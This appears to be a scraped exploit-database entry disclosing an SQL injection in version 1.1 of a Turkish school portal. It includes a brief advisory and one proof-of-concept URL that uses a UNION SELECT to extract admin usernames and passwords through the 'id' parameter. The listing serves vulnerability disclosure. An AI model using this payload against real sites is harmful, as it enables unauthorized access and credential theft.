Lucene search

K
exploitdbErtuqrulEDB-ID:30141
HistoryJun 04, 2007 - 12:00 a.m.

Hunkaray Okul Portaly 1.1 - 'Haberoku.asp' SQL Injection

2007-06-0400:00:00
ertuqrul
www.exploit-db.com
13

AI Score

7.4

Confidence

Low

source: https://www.securityfocus.com/bid/24288/info

Hünkaray Okul Portalý is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

An attacker can exploit this issue by manipulating the SQL query logic to carry out unauthorized actions on the underlying database.

Hünkaray Okul Portalý 1.1 is vulnerable to this issue.

http://www.example.com/okul/haberoku.asp?id=11%20union+select+0,sifre,kullaniciadi,3,4+from+admin 

AI Score

7.4

Confidence

Low

Related for EDB-ID:30141